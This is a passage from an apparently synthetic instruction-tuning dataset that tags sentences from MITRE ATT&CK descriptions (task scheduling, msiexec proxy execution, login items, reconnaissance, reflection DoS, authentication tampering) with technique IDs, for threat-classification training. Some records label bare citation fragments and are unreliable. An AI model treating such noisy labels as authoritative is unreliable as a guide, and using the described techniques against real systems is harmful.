initial or recurring execution of malicious code. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation:", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Task Scheduler Security)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Task Scheduler Security) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec)", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Msiexec.exe binary may also be digitally signed by Microsoft.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Msiexec.exe binary may also be digitally signed by Microsoft. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse msiexec.exe to launch local or network accessible MSI files.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018)", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse.", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation:", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft AlwaysInstallElevated 2018)", "output": "T1218.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft AlwaysInstallElevated 2018) ### Response: T1218.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MacOS provides the option to list specific applications to run when a user logs in.", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MacOS provides the option to list specific applications to run when a user logs in. ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These applications run under the logged in user's context, and will be started every time the user logs in.", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These applications run under the logged in user's context, and will be started every time the user logs in. ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items).", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items).", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence).", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window.", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).", "output": "T1162", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items). ### Response: T1162."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's networks that can be used during targeting.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's networks that can be used during targeting. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting.", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests)", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network DoS can be performed by exhausting the network bandwidth services rely on.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network DoS can be performed by exhausting the network bandwidth services rely on. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example resources include specific websites, email services, DNS, and web-based applications.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example resources include specific websites, email services, DNS, and web-based applications. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", "output": "T1498", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ### Response: T1498."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This third-party server is commonly termed a reflector.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This third-party server is commonly termed a reflector. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume.", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", "output": "T1498.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) ### Response: T1498.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either 